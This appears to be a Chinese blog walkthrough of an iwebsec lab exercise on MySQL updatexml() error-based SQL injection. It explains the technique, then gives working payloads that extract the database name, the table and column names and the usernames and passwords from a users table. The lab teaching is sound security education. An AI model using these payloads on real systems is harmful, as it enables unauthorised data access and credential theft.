iwebsec-updatexml报错注入

原理分析

Updatexml()函数"updatexml(XML_document, XPath_string, new_value);"

参数 描述
XML_document String格式,为XML文档对象的名称,文中为Doc
XPath_string Xpath格式的字符串
new_value String格式,替换查找到的符合条件的数据

即sql语句为"select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1"

concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户

0x7eASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~

实战注入

1.判断是否存在漏洞,添加and 1=1# 页面正常回显,and 1=2# 页面回显异常,即存在sql注入漏洞

2.爆出数据库

复制代码
id=1 and (updatexml(1,concat('~',(select database())),3))#

3.爆出表

复制代码
id=1 and (updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schame=database())),3))#

4.爆出users表字段

复制代码
id=1 and (updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users')),3))#

5.爆数据

复制代码
id=1 and (updatexml(1,concat('~',(select group_concat(username,',',password) from users)),3))#
相关推荐
Hello.Reader20 分钟前
Flink SQL 的 UNLOAD MODULE 模块卸载、会话隔离与常见坑
大数据·sql·flink
Bug.ink38 分钟前
BUUCTF——WEB(2)
数据库·sql·网络安全·buuctf
Bruce_Liuxiaowei3 小时前
全面TCP端口扫描:Nmap高级扫描技术与实战应用
网络·tcp/ip·网络安全·php
代码or搬砖3 小时前
SQL核心语法总结:从基础操作到高级窗口函数
java·数据库·sql
Hello.Reader4 小时前
Flink SQL 的 LOAD MODULE 深度实战——加载 Hive 模块、理解模块发现与常见坑
hive·sql·flink
jfqqqqq4 小时前
postgres查询、重设自增序列的起始值
数据库·sql·postgres·自增序列
dblens 数据库管理和开发工具5 小时前
DBLens:让 SQL 查询更智能、更高效的数据库利器
服务器·数据库·sql·数据库连接工具·dblens
Bug.ink5 小时前
BUUCTF——WEB(3)
web安全·网络安全·buuctf
Z_renascence7 小时前
web 260-web270
web安全·网络安全
Hello.Reader7 小时前
Flink SQL 的 SET 语句会话参数配置与快速自检(SQL CLI 实战)
数据库·sql·flink